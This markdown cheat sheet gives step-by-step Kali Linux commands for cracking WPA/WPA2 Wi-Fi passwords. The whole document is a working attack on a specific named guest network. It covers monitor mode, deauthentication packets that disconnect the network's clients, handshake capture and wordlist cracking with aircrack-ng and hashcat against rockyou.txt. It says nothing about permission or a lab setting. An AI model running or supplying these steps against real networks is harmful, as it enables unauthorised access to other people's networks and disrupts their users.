Crack WPA/WPA2 WiFi Passwords using Kali Linux & Aircrack-ng & Hashcat

> All commands are executed as root.

PHASE ONE: Gather information

---

1. See interfaces

```
ip addr
```

or

```
ifconfig
```

2. Check and kill processes

```
airmon-ng check kill
```

3. Start monitor mode

```
airmon-ng start wlan0
```

4. Verify that monitor mode is used

```
airmon-ng
```

> You could also use `ifconfig` to check if the interface is in monitor mode.

5. Get the AP's MAC address and channel

```
airodump-ng wlan0mon
```

Target:

```
ESSID:    TPGuest-77E0
BSSID:    82:8F:1D:FB:77:E0
Channel:  1
```

PHASE TWO: Capture Handshake

---

1. Collecting

```
airodump-ng -w TPGuest-77E0 -c 1 --bssid 82:8F:1D:FB:77:E0 wlan0mon
```

2. Deauth attack

```
[To all stations]
aireplay-ng --deauth 10 -a 82:8F:1D:FB:77:E0 wlan0mon

[To a specific station]
aireplay-ng --deauth 10 -a 82:8F:1D:FB:77:E0 -c 18:01:F1:B2:B3:02 wlan0mon
```

3. Check

```
aircrack-ng TPGuest-77E0-01.cap
```

or

```
wireshark TPGuest-77E0-01.cap
```

> Press `ctrl+F` and input `eapol` , then press `enter` . Check if there are 4 EAPOL packs (Message 1 ~ Message 4). If not, recapture.

4. Stop monitor mode

```
airmon-ng stop wlan0mon
```

PHASE TREE: Crack Password

---

1. Using Aircrack-ng

```
aircrack-ng TPGuest-77E0-01.cap -w /usr/share/wordlists/rockyou.txt
```

2. Using Hashcat (GPU)

- Convert `*.cap` to `*.hc22000`

  ```
  hcxpcapngtool ./TPGuest-77E0-01.cap -o TPGuest-77E0-01.hc22000
  ```

- Start hashcat

  ```
  hashcat -m 22000 TPGuest-77E0-01.hc22000 /usr/share/wordlists/rockyou.txt
  ```

- Show cracked passwords

  ```
  hashcat -m 22000 --show TPGuest-77E0-01.hc22000
  ```